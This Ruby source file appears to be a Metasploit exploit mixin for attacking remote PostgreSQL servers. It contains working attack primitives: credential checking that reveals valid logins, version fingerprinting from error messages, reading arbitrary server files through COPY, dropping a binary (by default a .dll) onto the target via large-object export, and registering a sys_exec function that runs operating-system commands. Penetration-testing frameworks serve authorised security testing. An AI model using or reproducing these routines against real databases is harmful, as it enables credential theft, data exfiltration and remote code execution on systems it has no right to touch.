require 'msf/core'

module Msf

###
#
# This module exposes methods for querying a remote PostgreSQL service.
#
###

module Exploit::Remote::Postgres

	require 'postgres_msf'
	require 'base64'
	include Msf::Db::PostgresPR

	# @!attribute [rw] postgres_conn
	#   @return [::Msf::Db::PostgresPR::Connection]
	attr_accessor :postgres_conn

	#
	# Creates an instance of a PostgreSQL exploit module.
	#
	def initialize(info = {})
		super

		# Register the options that all Postgres exploits may make use of.
		register_options(
			[
				Opt::RHOST,
				Opt::RPORT(5432),
				OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
				OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
				OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
				OptString.new('SQL', [ false, 'The SQL query to execute',  'select version()']),
				OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])
			], Msf::Exploit::Remote::Postgres)

		register_autofilter_ports([ 5432 ])
		register_autofilter_services(%W{ postgres })
	end

	# @!group Datastore accessors

	# Return the datastore value of the same name
	# @return [String] IP address of the target
	def rhost; datastore['RHOST']; end
	# Return the datastore value of the same name
	# @return [Fixnum] TCP port where the target service is running
	def rport; datastore['RPORT']; end
	# Return the datastore value of the same name
	# @return [String] Username for authentication
	def username; datastore['USERNAME']; end
	# Return the datastore value of the same name
	# @return [String] Password for authentication
	def password; datastore['PASSWORD']; end
	# Return the datastore value of the same name
	# @return [String] Database to connect to when authenticating
	def database; datastore['DATABASE']; end
	# Return the datastore value of the same name
	# @return [Boolean] Whether to print verbose output
	def verbose; datastore['VERBOSE']; end

	# @!endgroup

	# Takes a number of arguments (defaults to the datastore for appropriate
	# values), and will either populate {#postgres_conn} and return
	# +:connected+, or will return +:error+, +:error_databse+, or
	# +:error_credentials+ in case of an error.
	#
	# Fun fact: if you get +:error_database+, it means your username and
	# password was accepted (you just failed to guess a correct running database
	# instance).
	#
	# @note This method will first call {#postgres_logout} if the module is
	#   already connected.
	#
	# @param opts [Hash] Options for authenticating
	# @option opts [String] :database The database
	# @option opts [String] :username The username
	# @option opts [String] :username The username
	# @option opts [String] :server IP address or hostname of the target server
	# @option opts [Fixnum] :port TCP port on :server
	#
	# @return [:error_database] if user/pass are correct but database is wrong
	# @return [:error_credentials] if user/pass are wrong
	# @return [:error] if some other error occurred
	# @return [:connected] if everything went as planned
	def postgres_login(opts={})
		postgres_logout if self.postgres_conn
		db = opts[:database]       || datastore['DATABASE']
		username = opts[:username] || datastore['USERNAME']
		password = opts[:password] || datastore['PASSWORD']
		ip = opts[:server]         || datastore['RHOST']
		port = opts[:port]         || datastore['RPORT']
		uri = "tcp://#{ip}:#{port}"

		if Rex::Socket.is_ipv6?(ip)
			uri = "tcp://[#{ip}]:#{port}"
		end

		verbose = opts[:verbose]   || datastore['VERBOSE']
		begin
			self.postgres_conn = Connection.new(db,username,password,uri)
		rescue RuntimeError => e
			case e.to_s.split("\t")[1]
			when "C3D000"
				print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
				return :error_database # Note this means the user:pass is good!
			when "C28000", "C28P01"
				print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
				return :error_credentials
			else
				print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
				return :error
			end
		end
		if self.postgres_conn
			print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
			return :connected
		end
	end

	# Logs out of a database instance and sets {#postgres_conn} to nil
	#
	# @return [void]
	def postgres_logout
		ip = datastore['RHOST']
		port = datastore['RPORT']
		verbose = datastore['VERBOSE']
		if self.postgres_conn
			self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
			self.postgres_conn = nil
		end
		print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
	end

	# If not currently connected, attempt to connect. If an
	# error is encountered while executing the query, it will return with
	# :error ; otherwise, it will return with :complete.
	#
	# @param sql [String] The query to run
	# @param doprint [Boolean] Whether the result should be printed
	# @return [Hash]
	def postgres_query(sql=nil,doprint=false)
		ip = datastore['RHOST']
		port = datastore['RPORT']
		postgres_login unless self.postgres_conn
		unless self.postgres_conn
			return {:conn_error => true}
		end
		if self.postgres_conn
			sql ||= datastore['SQL']
			vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
			begin
				resp = self.postgres_conn.query(sql)
			rescue RuntimeError => e
				case sql_error_msg = e.to_s.split("\t")[1] # Deal with some common errors
				when "C42601"
					sql_error_msg += " Invalid SQL Syntax: '#{sql}'"
				when "C42P01"
					sql_error_msg += " Table does not exist: '#{sql}'"
				when "C42703"
					sql_error_msg += " Column does not exist: '#{sql}'"
				when "C42883"
					sql_error_msg += " Function does not exist: '#{sql}'"
				else # Let the user figure out the rest.
					sql_error_msg += " SQL statement '#{sql}' returns #{e.inspect}"
				end
				return {:sql_error => sql_error_msg}
			end
			postgres_print_reply(resp,sql) if doprint
			return {:complete => resp}
		end
	end

	# If resp is not actually a Connection::Result object, then return
	# :error (but not an actual Exception, that's up to the caller.
	# Otherwise, create a rowset using Rex::Ui::Text::Table (if there's
	# more than 0 rows) and return :complete.
	def postgres_print_reply(resp=nil,sql=nil)
		ip = datastore['RHOST']
		port = datastore['RPORT']
		verbose = datastore['VERBOSE']
		return :error unless resp.kind_of? Connection::Result
		if resp.rows and resp.fields
			print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
			if resp.rows.size > 0
				tbl = Rex::Ui::Text::Table.new(
					'Indent' => 4,
					'Header' => "Query Text: '#{sql}'",
					'Columns' => resp.fields.map {|x| x.name}
				)
				resp.rows.each {|row| tbl << row.map { |x| x.nil? ? "NIL" : x } }
				print_line(tbl.to_s)
			end
		end
		return :complete
	end

	# Attempts to fingerprint a remote PostgreSQL instance, inferring version
	# number from the failed authentication messages or simply returning the
	# result of "select version()" if authentication was successful.
	#
	# @return [Hash] A hash containing the version in one of the keys :preauth,
	#   :auth, or :unkown, depending on how it was determined
	# @see #postgres_authed_fingerprint
	# @see #analyze_auth_error
	def postgres_fingerprint(args={})
		return postgres_authed_fingerprint if self.postgres_conn
		db = args[:database]       || datastore['DATABASE']
		username = args[:username] || datastore['USERNAME']
		password = args[:password] || datastore['PASSWORD']
		rhost = args[:server]      || datastore['RHOST']
		rport = args[:port]        || datastore['RPORT']

		uri = "tcp://#{rhost}:#{rport}"
		if Rex::Socket.is_ipv6?(rhost)
			uri = "tcp://[#{rhost}]:#{rport}"
		end

		verbose = args[:verbose]   || datastore['VERBOSE']
		begin
			self.postgres_conn = Connection.new(db,username,password,uri)
		rescue RuntimeError => e
			version_hash = analyze_auth_error e
			return version_hash
		end
		return postgres_authed_fingerprint if self.postgres_conn
	end

	# Ask the server what its version is
	#
	# @return (see #postgres_fingerprint)
	# @see #postgres_fingerprint
	def postgres_authed_fingerprint
		resp = postgres_query("select version()",false)
		ver = resp[:complete].rows[0][0]
		return {:auth => ver}
	end

	# Matches up filename, line number, and routine with a version.
	# These all come from source builds of Postgres. TODO: check
	# in on the binary distros, see if they're different.
	#
	# @param e [RuntimeError] The exception raised by Connection.new
	# @return (see #postgres_fingerprint)
	# @see #postgres_fingerprint
	def analyze_auth_error(e)
		fname,fline,froutine = e.to_s.split("\t")[3,3]
		fingerprint = "#{fname}:#{fline}:#{froutine}"
		case fingerprint

		# Usually, Postgres is on Linux, so let's use that as a baseline.

		when "Fauth.c:L395:Rauth_failed"          ; return {:preauth => "7.4.26-27"} # Failed (bad db, bad credentials)
		when "Fpostinit.c:L264:RInitPostgres"     ; return {:preauth => "7.4.26-27"} # Failed (bad db, good credentials)
		when "Fauth.c:L452:RClientAuthentication" ; return {:preauth => "7.4.26-27"} # Rejected (maybe good, but not allowed due to pg_hba.conf)

		when "Fauth.c:L400:Rauth_failed"          ; return {:preauth => "8.0.22-23"} # Failed (bad db, bad credentials)
		when "Fpostinit.c:L274:RInitPostgres"     ; return {:preauth => "8.0.22-23"} # Failed (bad db, good credentials)
		when "Fauth.c:L457:RClientAuthentication" ; return {:preauth => "8.0.22-23"} # Rejected (maybe good)

		when "Fauth.c:L337:Rauth_failed"          ; return {:preauth => "8.1.18-19"} # Failed (bad db, bad credentials)
		when "Fpostinit.c:L354:RInitPostgres"     ; return {:preauth => "8.1.18-19"} # Failed (bad db, good credentials)
		when "Fauth.c:L394:RClientAuthentication" ; return {:preauth => "8.1.18-19"} # Rejected (maybe good)

		when "Fauth.c:L414:RClientAuthentication" ; return {:preauth => "8.2.7-1"}   # Failed (bad db, bad credentials) ubuntu 8.04.2
		when "Fauth.c:L362:Rauth_failed"          ; return {:preauth => "8.2.14-15"} # Failed (bad db, bad credentials)
		when "Fpostinit.c:L319:RInitPostgres"     ; return {:preauth => "8.2.14-15"} # Failed (bad db, good credentials)
		when "Fauth.c:L419:RClientAuthentication" ; return {:preauth => "8.2.14-15"} # Rejected (maybe good)

		when "Fauth.c:L1003:Rauth_failed"          ; return {:preauth => "8.3.8"}    # Failed (bad db, bad credentials)
		when "Fpostinit.c:L388:RInitPostgres"      ; return {:preauth => "8.3.8-9"}  # Failed (bad db, good credentials)
		when "Fauth.c:L1060:RClientAuthentication" ; return {:preauth => "8.3.8"}    # Rejected (maybe good)

		when "Fauth.c:L1017:Rauth_failed"          ; return {:preauth => "8.3.9"} # Failed (bad db, bad credentials)
		when "Fauth.c:L1074:RClientAuthentication" ; return {:preauth => "8.3.9"} # Rejected (maybe good, but not allowed due to pg_hba.conf)

		when "Fauth.c:L258:Rauth_failed"          ; return {:preauth => "8.4.1"}   # Failed (bad db, bad credentials)
		when "Fpostinit.c:L422:RInitPostgres"     ; return {:preauth => "8.4.1-2"} # Failed (bad db, good credentials)
		when "Fauth.c:L349:RClientAuthentication" ; return {:preauth => "8.4.1"}   # Rejected (maybe good)

		when "Fauth.c:L273:Rauth_failed"          ; return {:preauth => "8.4.2"} # Failed (bad db, bad credentials)
		when "Fauth.c:L364:RClientAuthentication" ; return {:preauth => "8.4.2"} # Rejected (maybe good)

		when "Fmiscinit.c:L432:RInitializeSessionUserId" ; return {:preauth => "9.1.5"} # Failed (bad db, bad credentials)
		when "Fpostinit.c:L709:RInitPostgres"     ; return {:preauth => "9.1.5"} # Failed (bad db, good credentials)

		when "Fauth.c:L302:Rauth_failed"          ; return {:preauth => "9.1.6"} # Bad password, good database
		when "Fpostinit.c:L718:RInitPostgres"     ; return {:preauth => "9.1.6"} # Good creds, non-existent but allowed database
		when "Fauth.c:L483:RClientAuthentication" ; return {:preauth => "9.1.6"} # Bad user

		# Windows

		when 'F.\src\backend\libpq\auth.c:L273:Rauth_failed'               ; return {:preauth => "8.4.2-Win"} # Failed (bad db, bad credentials)
		when 'F.\src\backend\utils\init\postinit.c:L422:RInitPostgres'     ; return {:preauth => "8.4.2-Win"} # Failed (bad db, good credentials)
		when 'F.\src\backend\libpq\auth.c:L359:RClientAuthentication'      ; return {:preauth => "8.4.2-Win"} # Rejected (maybe good)

		when 'F.\src\backend\libpq\auth.c:L464:RClientAuthentication'      ; return {:preauth => "9.0.3-Win"} # Rejected (not allowed in pg_hba.conf)
		when 'F.\src\backend\libpq\auth.c:L297:Rauth_failed'               ; return {:preauth => "9.0.3-Win"} # Rejected (bad db or bad creds)

		when 'Fsrc\backend\libpq\auth.c:L302:Rauth_failed'                 ; return {:preauth => "9.2.1-Win"} # Rejected (bad db or bad creds)
		when 'Fsrc\backend\utils\init\postinit.c:L717:RInitPostgres'       ; return {:preauth => "9.2.1-Win"} # Failed (bad db, good credentials)
		when 'Fsrc\backend\libpq\auth.c:L479:RClientAuthentication'        ; return {:preauth => "9.2.1-Win"} # Rejected (not allowed in pg_hba.conf)

		# OpenSolaris (thanks Alexander!)

		when 'Fmiscinit.c:L420:' ; return {:preauth => '8.2.6-8.2.13-OpenSolaris'} # Failed (good db, bad credentials)
		when 'Fmiscinit.c:L382:' ; return {:preauth => '8.2.4-OpenSolaris'} # Failed (good db, bad credentials)
		when 'Fpostinit.c:L318:' ; return {:preauth => '8.2.4-8.2.9-OpenSolaris'} # Failed (bad db, bad credentials)
		when 'Fpostinit.c:L319:' ; return {:preauth => '8.2.10-8.2.13-OpenSolaris'} # Failed (bad db, bad credentials)

		else
			return {:unknown => fingerprint}
		end
	end

	# @return [String] The password as provided by the user or a random one if
	#   none has been given.
	def postgres_password
		if datastore['PASSWORD'].to_s.size > 0
			datastore['PASSWORD'].to_s
		else
			'INVALID_' + Rex::Text.rand_text_alpha(rand(6) + 1)
		end
	end

	# This presumes the user has rights to both the file and to create a table.
	# If not, {#postgres_query} will return an error (usually :sql_error),
	# and it should be dealt with by the caller.
	def postgres_read_textfile(filename)
		# Check for temp table creation privs first.
		unless postgres_has_database_privilege('TEMP')
			return({:sql_error => "Insufficent privileges for #{datastore['USERNAME']} on #{datastore['DATABASE']}"})
		end

		temp_table_name = Rex::Text.rand_text_alpha(rand(10)+6)
		read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
			COPY #{temp_table_name} FROM '#{filename}';
			SELECT * FROM #{temp_table_name}}
		return postgres_query(read_query,true)
	end

	# @return [Boolean] Whether the current user has privilege +priv+ on the
	#   current database
	def postgres_has_database_privilege(priv)
		sql = %Q{select has_database_privilege(current_user,current_database(),'#{priv}')}
		ret = postgres_query(sql,false)
		if ret.keys[0] == :complete
			ret.values[0].rows[0][0].inspect =~ /t/i ? true : false
		else
			return false
		end
	end

	# Creates the function sys_exec() in the pg_temp schema.
	# @deprecated Just get a real shell instead
	def postgres_create_sys_exec(dll)
		q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{dll}', 'sys_exec' language c returns null on null input immutable"
		resp = postgres_query(q);
		if resp[:sql_error]
			print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
			return false
		end
		return true
	end

	# This presumes the pg_temp.sys_exec() udf has been installed, almost
	# certainly by postgres_create_sys_exec()
	#
	# @deprecated Just get a real shell instead
	def postgres_sys_exec(cmd)
		print_status "Attempting to Execute: #{cmd}"
		q = "select pg_temp.sys_exec('#{cmd}')"
		resp = postgres_query(q)
		if resp[:sql_error]
			print_error resp[:sql_error]
			return false
		end
		return true
	end


	# Uploads the given local file to the remote server
	#
	# @param fname [String] Name of a file on the local filesystem to be
	#   uploaded
	# @param remote_fname (see #postgres_upload_binary_data)
	# @return (see #postgres_upload_binary_data)
	def postgres_upload_binary_file(fname, remote_fname=nil)
		data = File.read(fname)
		postgres_upload_binary_data(data, remote_fname)
	end

	# Writes data to disk on the target server.
	#
	# This is accomplished in 5 steps:
	# 1. Create a new object with "select lo_create(-1)"
	# 2. Delete any resulting rows in pg_largeobject table.
	#    On 8.x and older, postgres inserts rows as a result of the call to
	#    lo_create. Deleting them here approximates the state on 9.x where no
	#    such insert happens.
	# 3. Break the data into LOBLOCKSIZE-byte chunks.
	# 4. Insert each of the chunks as a row in pg_largeobject
	# 5. Select lo_export to write the file to disk
	#
	# @param data [String] Raw binary to write to disk
	# @param remote_fname [String] Name of the file on the remote server where
	#   the data will be stored. Default is "<random>.dll"
	# @return [nil] if any part of this process failed
	# @return [String] if everything went as planned, the name of the file we
	#   dropped. This is really only useful if +remote_fname+ is nil
	def postgres_upload_binary_data(data, remote_fname=nil)
		remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"

		# From the Postgres documentation:
		#   SELECT lo_creat(-1);       -- returns OID of new, empty large object
		# Doing it this way instead of calling lo_create with a random number
		# ensures that we don't accidentally hit the id of a real object.
		resp = postgres_query "select lo_creat(-1)"
		unless resp and resp[:complete] and resp[:complete].rows[0]
			print_error "Failed to get a new loid"
			return
		end

		oid = resp[:complete].rows[0][0].to_i

		queries = [ "delete from pg_largeobject where loid=#{oid}" ]

		# Break the data into smaller chunks that can fit in the size allowed in
		# the pg_largeobject data column.
		# From the postgres documentation:
		#   "The amount of data per page is defined to be LOBLKSIZE (which is
		#   currently BLCKSZ/4, or typically 2 kB)."
		# Empirically, it seems that 8kB is fine on 9.x, but we play it safe and
		# stick to 2kB.
		chunks = []
		while ((c = data.slice!(0..2047)) && c.length > 0)
			chunks.push c
		end

		chunks.each_with_index do |chunk, pageno|
			b64_data = postgres_base64_data(chunk)
			insert = "insert into pg_largeobject (loid,pageno,data) values(%d, %d, decode('%s', 'base64'))"
			queries.push( "#{insert}"%[oid, pageno, b64_data] )
		end
		queries.push "select lo_export(#{oid}, '#{remote_fname}')"

		# Now run each of the queries we just built
		queries.each do |q|
			resp = postgres_query(q)
			if resp && resp[:sql_error]
				print_error "Could not write the library to disk."
				print_error resp[:sql_error]
				# Can't really recover from this, bail
				return nil
			end
		end
		return remote_fname
	end

	# Calls {#postgres_base64_data} with the contents of file +fname+
	#
	# @param fname [String] Name of a file on the local system
	# @return (see #postgres_base64_data)
	def postgres_base64_file(fname)
		data = File.open(fname, "rb") {|f| f.read f.stat.size}
		postgres_base64_data(data)
	end

	# Converts data to base64 with no newlines
	#
	# @param data [String] Raw data to be base64'd
	# @return [String] A base64 string suitable for passing to postgresql's
	#   decode(..., 'base64') function
	def postgres_base64_data(data)
		[data].pack("m*").gsub(/\r?\n/,"")
	end


	# Creates a temporary table to store base64'ed binary data in.
	#
	# @deprecated No longer necessary since we can insert base64 data directly
	def postgres_create_stager_table
		tbl = Rex::Text.rand_text_alpha(8).downcase
		fld = Rex::Text.rand_text_alpha(8).downcase
		resp = postgres_query("create temporary table #{tbl}(#{fld} text)")
		if resp[:sql_error]
			print_error resp[:sql_error]
			return false
		end
		return [tbl,fld]
	end


end
end
